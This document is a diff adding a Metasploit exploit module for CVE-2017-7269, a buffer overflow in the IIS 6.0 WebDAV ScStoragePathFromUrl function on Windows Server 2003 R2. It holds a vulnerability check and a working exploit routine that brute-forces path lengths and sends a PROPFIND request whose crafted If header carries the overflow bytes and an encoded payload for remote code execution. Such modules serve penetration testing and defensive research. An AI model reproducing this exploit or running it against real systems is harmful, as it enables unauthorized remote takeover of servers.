|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ManualRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow', |
| 14 | + 'Description' => %q{ |
| 15 | + Buffer overflow in the ScStoragePathFromUrl function |
| 16 | + in the WebDAV service in Internet Information Services (IIS) 6.0 |
| 17 | + in Microsoft Windows Server 2003 R2 allows remote attackers to |
| 18 | + execute arbitrary code via a long header beginning with |
| 19 | + "If: <http://" in a PROPFIND request, as exploited in the |
| 20 | + wild in July or August 2016. |
| 21 | +
|
| 22 | + Original exploit by Zhiniang Peng and Chen Wu. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Zhiniang Peng', # Original author |
| 27 | + 'Chen Wu', # Original author |
| 28 | + 'Dominic Chell <[email protected]>', # metasploit module |
| 29 | + 'firefart', # metasploit module |
| 30 | + 'zcgonvh <[email protected]>', # metasploit module |
| 31 | + 'Rich Whitcroft' # metasploit module |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'CVE', '2017-7269' ], |
| 37 | + [ 'BID', '97127' ], |
| 38 | + [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ], |
| 39 | + [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ] |
| 40 | + ], |
| 41 | + 'Privileged' => false, |
| 42 | + 'Payload' => |
| 43 | + { |
| 44 | + 'Space' => 2000, |
| 45 | + 'BadChars' => "\x00", |
| 46 | + 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, |
| 47 | + 'DisableNops' => 'True', |
| 48 | + 'EncoderOptions' => |
| 49 | + { |
| 50 | + 'BufferRegister' => 'ESI', |
| 51 | + } |
| 52 | + }, |
| 53 | + 'DefaultOptions' => |
| 54 | + { |
| 55 | + 'EXITFUNC' => 'process', |
| 56 | + 'PrependMigrate' => true, |
| 57 | + }, |
| 58 | + 'Targets' => |
| 59 | + [ |
| 60 | + [ |
| 61 | + 'Microsoft Windows Server 2003 R2 SP2', |
| 62 | + { |
| 63 | + 'Platform' => 'win', |
| 64 | + }, |
| 65 | + ], |
| 66 | + ], |
| 67 | + 'Platform' => 'win', |
| 68 | + 'DisclosureDate' => 'Mar 26 2017', |
| 69 | + 'DefaultTarget' => 0)) |
| 70 | + |
| 71 | + register_options( |
| 72 | + [ |
| 73 | + OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), |
| 74 | + OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]), |
| 75 | + OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]), |
| 76 | + ]) |
| 77 | + end |
| 78 | + |
| 79 | + def min_path_len |
| 80 | + datastore['MINPATHLENGTH'] |
| 81 | + end |
| 82 | + |
| 83 | + def max_path_len |
| 84 | + datastore['MAXPATHLENGTH'] |
| 85 | + end |
| 86 | + |
| 87 | + def supports_webdav?(headers) |
| 88 | + if headers['MS-Author-Via'] == 'DAV' || |
| 89 | + headers['DASL'] == '<DAV:sql>' || |
| 90 | + headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ || |
| 91 | + headers['Public'] =~ /PROPFIND/ || |
| 92 | + headers['Allow'] =~ /PROPFIND/ |
| 93 | + return true |
| 94 | + else |
| 95 | + return false |
| 96 | + end |
| 97 | + end |
| 98 | + |
| 99 | + def check |
| 100 | + res = send_request_cgi({ |
| 101 | + 'uri' => target_uri.path, |
| 102 | + 'method' => 'OPTIONS' |
| 103 | + }) |
| 104 | + if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers) |
| 105 | + return Exploit::CheckCode::Vulnerable |
| 106 | + elsif res && supports_webdav?(res.headers) |
| 107 | + return Exploit::CheckCode::Detected |
| 108 | + elsif res.nil? |
| 109 | + return Exploit::CheckCode::Unknown |
| 110 | + else |
| 111 | + return Exploit::CheckCode::Safe |
| 112 | + end |
| 113 | + end |
| 114 | + |
| 115 | + def exploit |
| 116 | + # extract the local servername and port from a PROPFIND request |
| 117 | + # these need to be the values from the backend server |
| 118 | + # if testing a reverse proxy setup, these values differ |
| 119 | + # from RHOST and RPORT but can be extracted this way |
| 120 | + vprint_status("Extracting ServerName and Port") |
| 121 | + res = send_request_raw( |
| 122 | + 'method' => 'PROPFIND', |
| 123 | + 'headers' => { |
| 124 | + 'Content-Length' => 0 |
| 125 | + }, |
| 126 | + 'uri' => target_uri.path |
| 127 | + ) |
| 128 | + fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207) |
| 129 | + |
| 130 | + xml = res.get_xml_document |
| 131 | + url = URI.parse(xml.at("//a:response//a:href").text) |
| 132 | + server_name = url.hostname |
| 133 | + server_port = url.port |
| 134 | + server_scheme = url.scheme |
| 135 | + |
| 136 | + http_host = "#{server_scheme}://#{server_name}:#{server_port}" |
| 137 | + vprint_status("Using http_host #{http_host}") |
| 138 | + |
| 139 | + min_path_len.upto(max_path_len) do |path_len| |
| 140 | + vprint_status("Trying path length of #{path_len}...") |
| 141 | + |
| 142 | + begin |
| 143 | + buf1 = "<#{http_host}/" |
| 144 | + buf1 << rand_text_alpha(114 - path_len) |
| 145 | + buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac" |
| 146 | + buf1 << ">" |
| 147 | + buf1 << " (Not <locktoken:write1>) <#{http_host}/" |
| 148 | + buf1 << rand_text_alpha(114 - path_len) |
| 149 | + buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81" |
| 150 | + buf1 << payload.encoded |
| 151 | + buf1 << ">" |
| 152 | + |
| 153 | + vprint_status("Sending payload") |
| 154 | + res = send_request_raw( |
| 155 | + 'method' => 'PROPFIND', |
| 156 | + 'headers' => { |
| 157 | + 'Content-Length' => 0, |
| 158 | + 'If' => "#{buf1}" |
| 159 | + }, |
| 160 | + 'uri' => target_uri.path |
| 161 | + ) |
| 162 | + if res |
| 163 | + vprint_status("Server returned status #{res.code}") |
| 164 | + if res.code == 502 || res.code == 400 |
| 165 | + next |
| 166 | + elsif session_created? |
| 167 | + return |
| 168 | + else |
| 169 | + vprint_status("Unknown Response: #{res.code}") |
| 170 | + end |
| 171 | + end |
| 172 | + rescue ::Errno::ECONNRESET |
| 173 | + vprint_status("got a connection reset") |
| 174 | + next |
| 175 | + end |
| 176 | + end |
| 177 | + end |
| 178 | +end |
| 179 | + |
0 commit comments